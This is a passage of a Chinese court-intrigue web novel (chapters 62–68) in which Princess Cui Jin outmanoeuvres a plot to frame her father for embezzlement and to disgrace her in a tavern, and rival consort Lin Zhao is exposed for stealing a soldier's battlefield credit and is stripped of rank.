“噤声!”崔老夫人还算稳得住,问于少卿,“敢问大人,我儿如今在何处,所涉的是什么贪污案,可有证据?” 于少卿不大明显地笑了下:“祭祀、宴飨贪污案,数额巨大,今日早朝由御史台当众弹劾,崔尚书已被下狱,我等奉皇命,搜查崔府。” 崔锦心底一沉。 这是有备而来,今日的崔府……只怕不干净。 她转头看向崔母,后者皱起眉对她摇头:“府里刚清扫过,我确定没有遗漏之处。” 刚过完年,结束了交际纷杂的局面,出于谨慎,各家都会清扫府邸,以免多出什么或遗漏什么,着了算计。 崔母做了多年主母,不可能连这点警惕心都没有。 崔锦按了按她的肩膀,以作安慰,心中快速思索起来。 厅里一时安静极了,直到一个急促的脚步声响起。 “少卿大人,找到了。”一个衙役奉上账本和一些书信,道,“这是从崔尚书的书房找到的。” 于少卿翻看几页,眼底闪过一丝满意,随意拱拱手就要离开。 “慢着。” 崔锦喊住他,快步上前。 “王妃留步。”于少卿皮笑肉不笑,“贪污案证据确凿,您莫要为难微臣。” “便是死也该叫我崔家死个明白吧。”崔锦盯着他,“你说证据确凿,那涉案人都有谁,我父亲如何操作,赃款又在哪里,这些账本书信是否可信……总不能你上下嘴皮一碰,就给我父亲盖棺定罪吧?” 于少卿笑容微微落下,顿了一瞬,才气息阴沉地拱手告罪:“是微臣说错了话,王妃勿怪,只是如今此案未明,证据不可泄露,恕微臣无法交予您了。” 崔锦试探到了想要的结果,心底一松。 “这回我不怪你说错话,但下回不知你有没有这么好运。”她冷冷扫过于少卿,“还是谨言慎行为好,你说是吗?” 于少卿眼神微暗:“王妃教训的是。” 他们离开后,崔家顿时乱成一团,崔二爷等人更是急得要出门去打听情况,拉拢人脉。 崔氏日渐没落,最出息的便是官至尚书有望入阁的崔父,一整个家族都仰仗他庇护,没人承担得起失去他的后果。 “慢着。” 崔锦一个眼色,如夏迅速抽出软剑,拦在门外。 第六十三章 崔家有内鬼 众人面面相觑。 崔二婶几乎尖叫:“崔锦,难道你要拦着我们救你父亲?你以为做了王妃就能安枕无忧吗,若没了家族支持,你以为信王还会宠你?!” “住口!”崔老夫人沉声呵斥,“蠢货!” 崔锦一一扫过他们,声音极冷:“父亲没有贪污,账本和书信都是假的,但母亲昨日才清扫过府邸上下,绝不会给政敌放入假证的机会。” 崔父或许并不清白,排除异己、结交朋党……但他绝不会贪污,崔氏再没落也仍存底蕴,何况崔母带来的嫁妆更是丰厚,以崔父的人品,比起冒着抄家灭族的风险去贪污,他一定更愿意去套取崔母的嫁妆。 毕竟,崔母两子两女,更容易控制,钱财源源不断。 而崔母的能力更不必说——或许她不懂朝局,但在管家理事上,这些年从未出过错。 所以:“除非崔家有内鬼,且能自如接近父亲书房而不被怀疑。” 众人脸色骤变。 根据崔锦的猜测,这内鬼身份绝不会低,甚至是崔家嫡系。 “是哪个杂种?”崔家长子崔皓一脚踹翻椅子,阴沉的目光盯着所有人,“现在站出来,留你一具全尸。” 他是二房所出,在崔锦弟弟未出生前,很得崔父疼爱,如今官至六品也全凭崔父提拔。 随着他开口,不少人也跟着叫喊起来,疑神疑鬼地盯着身边人。 一片嘈杂中,崔钰脸色惨白,额间冷汗直冒。 忽地,她察觉身上多了一道不容忽视的视线,抬起头正对上崔锦刺人的目光。 她慌乱移开眼神,心中不断说服自己冷静下来。 她做得隐蔽,崔锦没有证据,只要她敢开口指证,她就倒打一耙,煽动父母兄长对付她。 但崔钰做足了心理准备,崔锦却旁若无人地移开目光,低声与崔老夫人说了几句话便匆匆离开了。 崔钰松了口气。 没有被发现。 她心中浮起一丝期待,虽然做这一切是被逼迫,可她也不由顺着那人许下的承诺深想下去——等崔父被砍了头,崔锦有了一个罪父,势必被信王厌弃,成为下堂妇。 届时那人便会为她设计博来县主之位,扶她父亲步步高升,届时……信王妃便会是她崔钰! 风光大盛的只会是她! 她轻松的眼神落在厅内。 崔二爷正在劝崔母去信给谢氏,捞崔父出来。 “不必。”崔老夫人摆摆手,脸上已没了方才的惊慌,“你大哥不会有事。” 崔二爷眼睛一亮:“母亲您还有办法?” “你以为我们家族真的只靠你大哥立足?”崔老夫人深深看了他一眼,“今日大理寺只搜到账本书信,只要没找到赃款,扣死你大哥的罪名,我便有法子救他清清白白出来。” 闻言,崔家人都松了口气,连声谢过祖宗保佑。 只有角落里的崔钰惊疑不定。 祖母还有底牌? 是了,祖父也曾官至二品,与先帝君臣情分不浅,难道是祖父留下了什么保命的东西? 她死死攥着双手,脊背被冷汗浸湿。 若崔父没事,而她被查出来……她就完了。 …… 崔锦回到王府,便见庆喜候在马车旁。 “王妃,王爷请您去书房一趟。” 崔锦微微点头。 到了书房,萧临立刻迎上来,与她说起早朝上发生的事,末了道:“本王已尽力为岳父争取,但晋王咬得很紧,最终只争取到了半个月的调查时间。” 崔锦勉强笑了笑:“多谢王爷……” “你我之间,何须言谢。”萧临摸了摸她苍白的脸,声音轻柔了些,“不想笑就不笑,在我面前,不必端着仪态。” 崔锦眸中似有水光,疲惫地靠在他怀里,说道:“我父亲没有贪污,账本和书信是被家贼放进书房的,我已与祖母商议好对策,顺着家贼去捉幕后之人的马脚。” “好。”萧临丝毫没有迟疑,“我也会盯着大理寺,朝中你不必担心。” 崔锦顿了顿:“王爷不怕我父亲……真的贪污了吗?” “他绝不会。”萧临道,“能养出你这般品行端正的女儿,岳父不会是蝇营狗苟之人。” 崔锦:“……” 总觉得被骂了。 若非为了还在崔家的母亲和弟弟妹妹,她才不会管崔父死活。 不过萧临也没说完实话,他的想法与崔锦大差不差——崔父守着不小的金山,没必要冒险去贪污。 且崔父官至二品,还是他的岳父,权柄与助力都不小,若就这样被拉下马,于他而言无异于断了一臂。 尤其还是在科举将至的当口。 萧临眼神暗沉许多,冷笑一声。 在这时候把偏向他的礼部尚书拉下马,科举便是晋王一手遮天了。 崔锦只留了小半会儿,便匆匆离开了,萧临要忙,她也不能闲着。 出了书房后,她忧伤焦急的眼神变得冷漠一片,只有脸上仍存的苍白才看得出她在为此担忧。 “盯死了崔钰,小心着些。”她低声开口,“晋王未必探得出崔家有多少底牌,必会想尽办法坐实了父亲贪污的事。” 她眼眸微眯,脑中迅速闪过前世晋王的种种手段作风,道:“叫祖母和母亲尽快查清楚府中所有人名下的庄子铺子,尤其是京郊……多埋些钉子,晋王或许会以此入手,藏下赃款。” 京城人多繁华,不利于大量赃款运送,而若太远,一来一回取证只会耽搁时间,所以他一定会选在人少路短的京郊。 或许还会再挑一个崔家其余两房的人名下的庄子,既又拉了一个崔家人下水,又能挑拨崔家内斗。 如秋一一记下,立刻离开去办了。 回了正院后,还未等崔锦松一口气,如春便匆匆进来,手里拿着一封信:“王妃,刚才有人送来您名下的胭脂铺,说您看了这个,自会知晓如何救老爷。” 崔锦拆开信,上面只有短短一句话—— 明日酉时,客居酒楼见。 崔锦脸色瞬间变冷。 这是沈之珩的字。 第六十四章 去客居酒楼 崔父贪污案不到半天就传遍了京城。 不止因为他位高权重,众人更关注的是他萧临岳父的身份,也想看看正炙手可热的萧临究竟会不会保他。 被压了许久的晋王党更像是苍蝇见了肉一样,死死咬住萧临这个把柄不放。 受影响的不止前朝,还有后宅。 翌日众人来请安时,庄清婉眉眼不屑,对崔锦还带着怨气。 但因为那日在寄月阁的敲打教训,她说话隐晦了许多:“王妃竟还能坐得住?外头都因为崔尚书的贪污案吵翻天了。” “清者自清,我父亲必然无事。” 庄清婉眼底闪过一抹鄙夷。 她是半点不信崔父没贪污的,再直白点说,能站上金銮殿的男人,就没几个清白的,只是多数人有脑子,贪的银钱有限,不会引起众怒,而崔父……简直蠢透了! 连她听到那个数字都吓了一跳。 以前也没见他闹出贪污的风声,怕不是觉得成了萧临岳父后有倚仗了,就越发贪得无厌起来,父女俩一丘之貉,只会给萧临拖后腿。 她扬起笑容:“王妃说的是,咱们王爷可不养贪得无厌的蛀虫,否则一个个还不像蚂蟥似的吸着王爷的血?” 她话落,身旁传来嗤笑。 “庄侧妃是在说自己吗?”叶挽棠挑眉,“听说平安伯才借着王爷的东风升任光禄寺少卿呢。” 庄清婉脸色微沉:“我父亲为王爷鞠躬尽瘁,自要登高才能助力更大。” “哦……”叶挽棠拖长声音,“王妃父亲凭自己的能力居高位却是你口中的蛀虫蚂蟥,您父亲刚靠王爷升个四品竟就成了助力,真厉害。” “你——” 庄清婉冷笑一声:“我父亲再如何也不会去贪污受贿,做那种拖王爷后腿的勾当!” “怕是没机会吧。”叶挽棠嗤笑,“平安伯以前是翰林院编撰,他倒是想贪,也没人傻了吧唧给他钱啊。” 庄清婉脸色难看下来。 翰林院清贵,这群人只会钻营弄巧的人懂什么! 但还没等她开口,就被崔锦打断:“行了,没事都回去吧,庄侧妃心不静,再去抄几本佛经定定性子。” 庄清婉对上她清透而有压迫感的眼神,没来由心中一瑟,不甘不愿地行礼告退。 崔锦仗着有个尚书父亲在后院说一不二,等崔尚书彻底完蛋,看她还有何底气立足王府,给萧临拖后腿! 她与几个侍妾离开了,叶挽棠却没走。 她有些纠结又小心地看了看崔锦:“妾相信崔尚书是清白的,王妃别担心,有王爷在,绝不会叫您父亲身陷囹圄。” 崔锦意外地看了她一眼:“如今风向不明,你就不怕我父亲真倒了,反而连累你得罪庄侧妃?” 叶挽棠想也不想道:“无论您父亲倒不倒,都不影响妾对您的——” 话没说完,被身后婢女狠戳了一下,她脸色一僵:“嗯……妾不是说您父亲会倒的意思,只是……”她见崔锦没生气,便坦诚道,“上回在寄月阁,妾看出您是向着妾的,最后还保了妾无恙,妾虽性子不好,但也知感恩。” 叶挽棠脑子简单,但有时反而越简单的人看得就越清楚。 从江柔假孕假摔,到宫里派来杨院判,前后衔接的恰到好处,她不信这么巧合。 只看最终得益人,她猜是崔锦的可能性有七八成。 即使不是也没关系,崔锦待她宽和,她就不会落井下石。 崔锦今日以来第一次笑了回:“多谢你,我没事。” 叶挽棠不是个会宽慰人的性子,硬挤出了几句安慰后,这才告退离开。 “叶夫人似乎不像是来投诚的。”如春惊讶道,“倒像是在安慰您。” 崔锦笑了一下:“是啊。” 不少人都觉得崔家这回要倒了,连庄清婉都敢堂而皇之讽刺她,叶挽棠却对她始终恭敬如一,还立场鲜明地站了她。 雪中送炭难得。 等探子再盯一段时间,确定叶挽棠可用后,便可以收了她了。 一日很快过去,无论是崔家还是萧临都还没有消息,外头崔父贪污的名声越来越响亮。 崔锦看着手中的信,沉思半晌。 到了时间,她叫下头悄悄套了马车,低调的往客居酒楼去了。 这回崔父出事,必与沈之珩脱不开关系——她还记得崔母说崔儒月夫妻与二房日渐走近的话,恰好,沈之珩又投了晋王。 前世他一直为萧临做事,但这一世萧临对他先有了窥探王府的警惕,毫不接茬,他自只能转投晋王。 崔锦倒也不怕他交代出什么萧临的机密,前世等他站到尚书之位才真正接触到了萧临的机密要事,可崔儒月也很快难产而亡,他得到的信息不多,而且现在时间太早……也还没用处。 想到这里,崔锦便有些淡淡的悔意。 刚知道沈之珩重生时,她需要他配合崔儒月换嫁,没法下杀手,手头又有不少事处理,等她腾出手来想料理了沈之珩时,他已经被晋王派人护住。 她权衡利弊,直到现在也觉得付出大代价杀一个沈之珩不值当。 倒说不定可以物尽其用。 若等后头两党战火一触即发之时,他知道的一些信息或许能误导晋王,栽个大跟头。 “王妃,到了。” 崔锦应了声,从客居酒楼的后门下车。 这是她名下的酒楼,倒也不怕什么。 掌柜的近身说道:“那位公子在二楼甲号房等您。” 崔锦点点头,带着如夏从后头进去。 第六十五章 崔锦为了救父委身他人 吏部。 萧临还在忙崔父的案子,在众大臣间周旋,刚送走一位阁老,便见庆喜小跑进来。 “王爷,方才奴才听人说……”他焦心又担忧,“说王妃在客居酒楼与人私会。” 萧临脸色一冷:“人抓起来了吗?” “抓起来了,只是外头好像已经有人议论开了此事,还说……”他咬了咬牙,“还说与王妃私会的不止一人,好像是王妃急于救父,答应了大理寺几位大臣的公子一起……一起谈事。” 这也就是隐晦些的说法了。 那些人说的更难听,竟直言崔锦为了救父委身于那几人。 “你先去遏制外头的流言,若有污蔑王妃者,当场拿下,扭送顺天府。” 说完,萧临大步离开,往客居酒楼赶去。 他不信那些流言,崔锦深爱于他,更何况崔父的案子才刚开始调查,怎会愿意委身旁人? 且一个世家女,行事也不会如此荒唐。 他更怕的是崔锦被人算计。 等他到了客居酒楼时,外头已围了一圈人,对里面指指点点,依稀听到“水性杨花”“不要脸”等词。 萧临心中一沉。 若崔锦当真着了道…… 他额角青筋隐隐跳动起来,怒火缓慢而骇人地升腾,眼中仿佛有黑色岩浆在翻滚灼烧。 若当真无可转圜……他会亲手了结崔锦,再挖出所有看到她的人眼睛,砍断他们碰过她的四肢! 心中沉怒阴郁,但他策马的动作丝毫不慢,很快就在酒楼前停下。 百姓们已经被他带来的侍卫们隔在门外,里面也速度极快地在清场。 他不愿如此张扬,但眼下除了动武,没有旁的法子能隔开这群百姓。 崔锦……毁了。 正当他被沉郁的怒气裹挟,脸色阴沉地走进酒楼时,身后传来一道疑惑的声音:“王爷?” 萧临脚步猛然僵住。 他不知庆幸还是惊喜地回头,正看到崔锦从一辆马车中下来,疑惑问他:“您怎么在这?” 萧临身后的侍卫机灵得很,立刻大声喊道:“属下见过王妃!” 这一声出口,百姓一片哗然。 信王妃在这,那里面的人是谁? 萧临大步走到她面前,将她从头到脚打量了一遍,猛地松了口气:“你来这里做什么?” “长姐约我来的,说有父亲贪污案的重要线索给我。”崔锦眨了眨眼,“我唯恐自己不清楚细节,便先转道去接了祖母,一起商议” 说着,她转过身,扶了崔老夫人下马车。 崔老夫人躬身行礼:“老身见过王爷。” “不必多礼。”萧临忙扶起她,心中庆幸不已。 若崔锦没有转道去接崔老夫人,必然要遭了算计了。 周围的百姓们也窃窃私语,崔锦毫发无损,还有崔老夫人出面作证,没人再怀疑她与人私会,倒多了些嚼舌根的愧疚和同情。 此时,侍卫也回来了:“王爷,有动静的是二楼甲号房。” “甲号房?”崔锦意外道,“这不是长姐定的房吗?” 萧临眼神微冷,摆摆手,侍卫们退去一旁,没了桎梏的百姓们愣了愣,试探着走了几步,见没人阻拦,不少人立刻冲进酒楼看戏。 萧临无所谓。 不是崔锦,里头是谁都没关系。 没多久,里面一片惊奇的吵闹声,间或掺杂着几道高昂又惊惧的男声。 “王爷。”方才那侍卫又回来了,脸色微妙地禀报,“甲号房有催情香的味道,是大理寺几位大人的公子,和……和林家公子。” 委身的不是崔锦,而是林昭的兄长…… 有好事的百姓想起林昭屡屡针对崔锦的事,立刻便串联起经过—— 林侧妃又想联合崔儒月算计信王妃,叫自己兄长设计请人,但没想到信王妃中途去接了祖母,耽搁了时间,林侧妃的兄长便不慎中了招,与那几位公子…… 还没等萧临和崔锦回府,此事便疯一样传了出去。 王府,两人刚下马车,便听远处传来几道呼唤声:“侧妃您禁足未解,不能出来啊……” “我有要事禀报王爷,谁敢拦我,自己去领罚!” 林昭一边说着,一边大步走来,看到萧临时眼前一亮:“王爷,妾身有重礼献上!” 她晃了晃手中的图纸。 不署名也没关系,只要在萧临眼中有价值,她就还有复宠的机会。 她不着痕迹地扫了眼身后满眼羞怯激动的貌美婢女,眼神微沉一瞬,又希冀起来。 等她复了宠,一定扒了这两个贱婢的狐媚皮! “我们去书房详谈可好——” 满怀欢喜的话在看到完好无损的崔锦时戛然而止。 她眼底闪过惊惧与不可置信:“你……你怎么会——” “我怎么还没人尽可夫,身败名裂?”崔锦接过她的话,眉梢微挑。 林昭察觉到不对,下意识看向萧临,正对上后者冷漠厌恶的眼神。 刚才在马车里,崔锦已经向他坦白了一切,包括幕后黑手。 “本王不打女人,但林昭……你当真叫本王险些破戒。” 林昭脸色瞬间惨白:“不……妾身是被算计的,王爷您别被这个贱人蒙蔽啊!” “本王还没说何事,你便知道了?”萧临声音极度失望,“上回你联合沈之珩陷害王妃,王妃不予计较,更从未以此问罪,你便真当自己算计隐蔽,还敢故技重施?” 林昭没想到他竟知道上回的事,慌乱之色没来得及遮掩,被在场人看了个正着。 下人们面面相觑,各自交换着意味深长的眼神。 这回萧临显然也没想给林昭留脸面,他已经失望透顶:“林侧妃品行不堪,犯上作乱,杖责三十,禁足珠玉院。” 他冷冷看向林昭:“本王明日便进宫请圣旨,废去你侧妃之位,你不配。” 林昭瞳孔猛缩。 “不!”她眼泪瞬间掉落,不可置信地看着萧临,“王爷,我们七年的感情啊……你不能这么对我,是这个贱人陷害我啊……你怎能废了我侧妃之位……” 这是她最后引以为傲的底气了! 萧临微一皱眉,庆喜忙叫人堵住了林昭的嘴。 后者目眦欲裂,看向崔锦的眼神如淬了毒一般,恨不能将她千刀万剐。 崔锦唇角微不可查地扬起。 林昭不会以为,她真会因为关心则乱,上这种当吧? 信沈之珩会救崔父? 不如信母猪会上树。 回了正院,萧临紧紧抱住崔锦,后怕不已:“幸好你提前识破了林昭的诡计,否则……”他不敢想象会发生什么。 “王爷不觉得我心狠么?”崔锦抬起头,轻声问,“我识破了她的算计,却并没有选择禀报你,息事宁人,而是反击回去,将此事闹大。” “你若当真心狠,便不会放过林昭了。”萧临想到什么,眼神竟阴鸷一瞬,面对崔锦时又只剩心疼与后怕。 猜测崔锦或许中计时的满腔怒火和惧意,以及那股想要杀人的冲动,叫他直到现在都挥之不去。 林昭……太无耻,也太过分了。 而崔锦甚至没有向她本人反击,只是算计了林家长子,保住了王府和林昭的颜面。 她已经退让许多了。 想到这里,他眼神柔和,含着怜惜:“即便你还在生我的气,依旧选择为了我退让,是我欠你许多。” 崔锦垂下眸,浓密的长睫遮住微妙而满意的情绪。 这回的试探,真是完美。 第六十六章 本王有眼无珠,错信奸人 翌日,萧临早朝后正要去御书房,却被淑妃的人拦下。 “本王有事禀报父皇,稍后便去钟粹宫。”他道。 昨日的事已经闹大,方才早朝还有不少御史弹劾了大理寺几个大臣,还险些因为林昭兄长的事牵连到他身上。 萧临猜淑妃应当是为此事找他。 他无意多费口舌,等废去林昭的侧妃之位,淑妃应该能满意了。 但邱华却摇头:“王爷不必去钟粹宫,娘娘交代了,只要天还没塌下来,您就必须立刻出宫,去东街百花巷见一个人。” 萧临心下疑惑,但见邱华神色凝重,他也没再拒绝,转身出宫。 半个时辰后,他换了辆低调的马车,在一处后门停下。 巷子路窄,周边大树林立,暗沉的灯笼映照的两边楼上透出女子娇呼与男人的笑声。 打从来到这里,萧临皱起的眉就没松开过。 百花巷,也是京城有名的烟花巷。 他不明白淑妃为何要让他来这里,心中十分排斥。 一个管事模样的女子恭敬地领着他七拐八绕,走到了一处低调的院落前:“贵客,您要见的人就在里面。” 萧临大步进门,里面除了一个瘦弱苍白的中年男子,便只有一个侍卫,是淑妃的人。 侍卫拱手行礼后,便道:“此人名叫卫期,家住南疆,于八年前参军入伍,是林侧妃父亲的旧友,曾随王爷一起上过战场。” 萧临一愣,仔细打量了卫期几眼:“本王对他没有印象。” 想来只是个小兵。 正在他疑惑此人有何异常时,卫期冷笑一声:“一个工具,自然不值得王爷放在心上。” “你此言何意?” 卫期猛地抬头,赤红的双眼死死盯着他:“王爷不认得卫期,可还记得黑石坡筑台拜将,飞猿谷火烧魏兵,赤土塬推恩散势、赠铠遗疑……” 随着他一个一个念出口,萧临心中狂跳。 这都是林昭曾在战场上献的计,因此助南疆将士几次大胜敌军。 片刻沉默后,他再度问出口:“你……此言何意?” 卫期定定看着他,忽然笑了:“在下此言何意,王爷不是猜到了么?” 萧临心中一沉。 林昭盗诗、盗图罪行累累,在听到卫期开口的一瞬间,虽然他很想遏制自己不去猜测林昭假冒军功,却没办法阻止疯长的思绪。 假冒军功……她怎么敢呢? “你有证据吗?”他听到自己略微沙哑的声音。 “若无证据,在下今日又怎能站在这里?”卫期句句带刺,“没有价值的人,怎配站在皇亲贵族面前。” 他提起林昭时恨意几乎溢出胸腔,恨不能生啃其肉,对萧临这个帮凶与纵容者也毫无好感,甚至带有敌意与怨恨。 当年魏国出兵,对南疆百姓烧杀抢掠,卫期的大哥曾生生被砍于他眼前,他因此对魏国恨之入骨,毅然参军。 但他人微言轻,在知道林昭能与萧临搭上话后,便找上了她,为萧临献计,林昭拿了计谋,大胜敌军,军中却始终没有给过他奖赏,他仍是个无名小卒。 出于对好友女儿的信任,也因迫在眉睫的战事,他压下疑惑,继续献计。 林昭骗他时机未到,叫他静候佳音,他信了;林昭骗他信王已知晓他的功绩与付出,只是军中派系复杂,暂且不能为他正名,他也信了;而当他隐隐察觉到不对时,又惦念与林父的患难兄弟情,与魏军的猖狂杀戮,仍放纵林昭夺他军功退敌。 林家为了安抚他,给过不少钱财,足够他养活妻儿,在魏国败退投降后,他甚至已经考虑放弃为自己正名,另谋出路。 反正,家仇国仇都已经报了。 军功,林昭想要就拿去吧。 可最后等来的,却是林父的当胸一剑。 “只有死人才能保守秘密。”林父猩红狰狞的表情犹在眼前。 所幸他卫期命不该绝——他的心脏长在右边。 在尸体被丢去山林后,他又被魏国边疆的百姓捡了回去,彼时魏国大败,士气低迷,对大周人更是恨之入骨。 他伤势未愈便被扔去魏国军中,供人鞭打折磨。 奄奄一息时,听到魏国小兵们愤恨闲谈——巾帼女将林昭功绩昭彰,被奉为军中诸葛,风光无比,与信王更是郎才女貌,共返京城受赏。 那时,只剩一口气的卫期硬是撑着活了下来,叫魏国军医都惊讶称奇。 他尝过魏国酷刑,经过九死一生,搅得魏军大乱后,终于回到大周。 家中已被一场不知名的大火毁于一旦,他的妻子儿女都被困于其中,只剩灰烬。 当年顾念好友之情的一念之差,毁了他的妻儿与整个人生。 卫期觉得自己应该是从地狱中爬回来的厉鬼,只为报仇索命而活。 沉默良久,他才道:“计谋推演的草图在我这里,上面有我和林昭的笔迹,我还有林家灭口的证据。” 侍卫也适时开口:“当初为林侧妃和卫期传话的小兵也找到了,王爷可要见他?” “……不必了。” 侍卫能说到这份上,必然已经审过,他见与不见,意义不大。 萧临闭了闭眼。 每当他以为林昭的所作所为已经超出他想象中的恶毒时,她总能再次叫他大跌眼镜。 这句话似乎已经牢牢扎根在他心底。 七年感情,战场上五年的并肩作战,都不过是泡影一般,他从未看透过这个曾经的枕边人。 或许是先入为主,他从未见过如她那般傲气磊落又洒脱不羁的女子,她总是奇思妙想,特立独行,偶尔还会说出一些惊骇又有理的言论,以至于在她献计退敌时,他从未怀疑过——他觉得这般特别的女子,惊才绝艳也是理所应当。 而她又那般深爱他,宁牺牲自己为他挡刀。 他就此放任了她的喜欢,与她亲近起来。 回了京,她武学没了用武之地,又作出千古佳句,才名享誉京城……却原来,都是假象。 全都是假的。 阴郁而压抑愤怒的情绪只在一瞬间,他再度睁开眼时,眼眸已一片冷漠。 他看向卫期,拱手弯腰,郑重而愧疚地行了大礼:“本王有眼无珠,错信奸人,叫先生蒙冤至此,此事……本王一定给你交代,还你清名。” 见他行如此大礼,卫期眼中闪过一丝惊愕,却又变得冷漠。 或许他曾经对萧临这个年纪轻轻却屡立奇功的皇子有过欣赏,但现在,他面对所有与林昭有关的人,尤其是帮凶,只剩恶心。 他看着萧临,忽地一笑,满是恶意:“林昭机关算尽,只为攀上你,你不会以为她真的会拼了命为你挡刀吧?” 第六十七章 圣旨降府 萧临表情不变,没有说话。 倒是侍卫迟疑着道:“卫先生给属下提供过一条线索,是关于年前护城河的刺客案……属下顺着查了查,发现那刺客与林侧妃曾是旧友,他虽自毁容貌,但身份与特征都对上了。” 他说得小心,唯恐萧临发怒。 但萧临脸色却很平静。 林昭做出什么来,他都不奇怪了。 她那般爱命爱权的人,若非算计得当,怎会为他付出生命? 只是可怜那因她算计而送命的数位百姓…… 萧临握起的拳背上青筋暴跳,几乎快挣裂皮肤。 “行了,这里没人看你表演。”卫期嗤之以鼻,“带我去面圣吧。” 侍卫也忙在萧临耳边补充:“王爷,我们必须得强占先机……卫期是被晋王的人找到的,我们付出不少代价才将他抢回来,百花巷也藏不了他多久了。” 萧临眼底骤沉。 若被晋王抢占先机,必要扒他一层皮,斩断他不少羽翼。 现如今,只有带卫期进宫面圣,陈情自首这一条路。 他抬起手,客气中含着愧疚:“先生请。” 卫期抬步走在最前,没有半分相让。 …… 信王府正院。 “王妃,卫期随王爷进宫了。”如春进来悄悄禀报。 木鱼声停下,崔锦低语:“想来再过不久,圣旨就该进王府了。” “怕是与禁卫军一起进的。”如冬接话,“被圣旨杖责过,又被禁卫军亲自上门拿人的,宗室乃至京城女眷中,她恐怕都是头一份了。” “活该。”如夏冷笑一声,“昨日若非王妃警惕,先算计了林老大一把,今日还不知王妃是何处境!” 主审崔父贪污案的几位大理寺朝臣的儿子、孤身一人的崔锦,就连酒楼都是崔锦自己名下的产业,谁会信她真的无辜? 但凡昨日被算计成功,崔锦只剩自尽一条路走,还要背负无尽骂名,死后都会被钉在耻辱柱上。 “王妃您就该把林昭自己扔去酒楼,以其人之道还治其人之身!” “王府和王爷的名声不能再毁了。”崔锦摇头。 不能逮着萧临一个人的名声薅,薅没了她也没好处。 再者说,若当真毁了林昭,届时有些人阴谋论起,说不得还要嘀咕她崔锦手段狠辣不容人,而林昭无辜受害了。 “正是如此。”如秋道,“而且叫老夫人看清了大姑娘的真面目,这才是好事一桩。” “也是,老夫人只喜欢公子们,对几位姑娘都一视同仁,这回她与偏心眼的老爷也该看明白了……先是唆使三姑娘陷害老爷,又趁机暗害王妃,这是要将整个崔家推进火坑啊。” 主仆几人正说着话,外头婢女匆匆禀报:“王妃,圣旨降府了——” 崔锦眸光一闪。 出门前,她低声吩咐:“叫怜青暂时离开吧,省得误伤她,等此事了,再好生安置她。” 若没有怜青通风报信,她能躲过林昭与沈之珩的算计,却不一定能快速做出反击,更不能请崔老夫人看上那场好戏。 如春轻应一声,匆匆离开。 这回御前的人似乎很是急迫,等崔锦去前厅时,圣旨竟已宣读至尾声:“……着废去罪妇林氏侧妃之位,革除林家父子官职,一并押入大牢,秋后问斩,钦此——” 林昭昨日刚被打了板子,现在是被抬着来的。 或许因为身体剧痛,或许因为神思不属,她好半晌都没反应过来:“你……你说什么?” 来宣旨的还是上回的御前太监,他面上满是鄙夷:“侧妃……不,林氏,你曾为贵人,倒是多忘事,不记得卫期了?” 林昭瞳孔猛缩。 御前太监冷笑一声:“上回奴才来宣旨,您说为国立过功,为大周流过血,奴才虽不屑您邀功请赏,却也认可您曾经的付出,谁想……竟是一腔感激喂了狗。” “真正为国立过功的功臣被你父女榨干所有价值,一剑穿心,幸存后却落入敌营,受尽折磨,而你父女却拿着偷来的东西,尽荣华……假冒军功,杀人灭口,当真是丧尽天良,猪狗不如!” 最后一个词叫林昭目眦欲裂。 猪狗不如? “狗奴才!你竟敢如此辱我!”她脸色惨白如鬼,眼神却愤怒而怨毒,“我是被卫期陷害的,等我见到皇上和王爷,一切自会真相大白,届时我必将你这个阉人千刀万剐!” 御前太监脸色冷了下来:“皇上龙颜大怒,王爷更是恶心极了你,见他二位?你做梦吧!” 他一个眼色,禁卫军便上前拿人。 林昭使力挣扎,心中不可置信,又恐慌至极,尤其是看到刚进门的庄清婉几人嫌恶鄙夷的眼神,抬起的手竟颤抖不已。 她以为会带进棺材里的秘密,竟就这样暴露于人前,她曾引以为傲的、即便失宠也睥睨所有封建女的傲然功绩……就这样毁于一旦了吗? 不,她是巾帼女将,她仍是将士奉于心上的女神! “还不将她拖走?”庄清婉以帕掩鼻,看脏东西一样看着林昭,“竟有如此厚颜无耻之人,在我信王府多待一刻都脏了我们的地儿!” 叶挽棠点点头,难得与她同一立场。 她是武将之女,更明白军功有多不容易得——那都是拿命拼来的,更别说那位被她冒领军功的人还被害进敌营,想也知道活下来会有多不容易。 骂一句丧尽天良都是夸林昭了。 “不!没有见到皇上和王爷,我不服!”林昭抵死挣扎,“我是被陷害的,你让我与卫期当面对质,他竟敢抢我军功——” “林氏,你真是惯会自欺欺人。”崔锦垂眸看她,眼尾尽是薄凉,“偷东西偷得久了,偷上瘾了,就真以为是自己的不成?” 林昭猛地抬头看她,眼神怨毒至极:“是你!贱人,是你诬陷我?!” 崔锦忽地笑了一下:“你偷过这么多东西,如今想来,我竟不知连你这个人是否也是偷来的,或者说……身份?” 林昭瞳孔猛然紧缩,脸上不受控制地露出一丝惊恐。 第六十八章 幕后之人威胁你了? 崔锦将她的反应尽收眼底,若有所思。 林昭也再没了反抗的余地,她已不再是王府侧妃,而是罪妇林氏,禁卫军对她没有丝毫恭敬,拖着便走。 崔锦眸间闪过浅浅笑意,在她耳边轻声道别:“不必担心,你我或许还有再见之日。” 林昭赤红的眼底闪过犹疑不定。 崔锦言下之意……是萧临还会保他? 是了,他们七年的感情并非作假,她为他拼过命,为他流过血,甚至愿意放弃丁克的原则,为他生儿育女。 他怎会不感动? 林昭心中燃起希望,只要萧临心中还有她一席之地,她就没有输。 禁卫军与御前的人都匆匆离开了,厅内只剩崔锦几人。 “真晦气。”庄清婉微微蹙眉。 她以为崔锦已经是王府最装模作样,欺骗萧临感情的人,没想到就连曾为萧临挡过刀的林昭都是如此虚伪,甚至无耻。 她有些心疼萧临,又庆幸自己嫁过来了。 崔锦没理她,踱步便去了前院。 萧临回来时,就正她坐在院中石桌旁煮茶。 他微愣。 “王爷来尝尝妾身煮的茶如何?”崔锦头也不抬。 萧临上前落座,低头抿茶:“苦尽甘来,唇齿留香。” 崔锦笑了笑,为他又添上一杯,两人对坐饮茶,沉默而不显尴尬,倒存留着几分不可言说的默契。 不知过了多久,萧临本低沉阴郁的情绪变得平静。 他抬头看向崔锦,心中复杂而动容。 她一向以他为先,知晓他心情会不好,便主动来为他开解,陪他静坐。 “锦儿……” “王爷赢了。”崔锦打断他,轻声道,“我本不敢再对你付出全部真心……我很怕再看到你怀疑冰冷的目光,但你总能击中我的软肋,叫我心疼、妥协。” 她低喃似轻语,含着无奈与认命。 萧临眸光骤亮,强忍心中激动,握住她的手:“以后我定不疑你。” 结发为夫妻,恩爱两不疑。 他此时似乎才体会到这句话的真正含义。 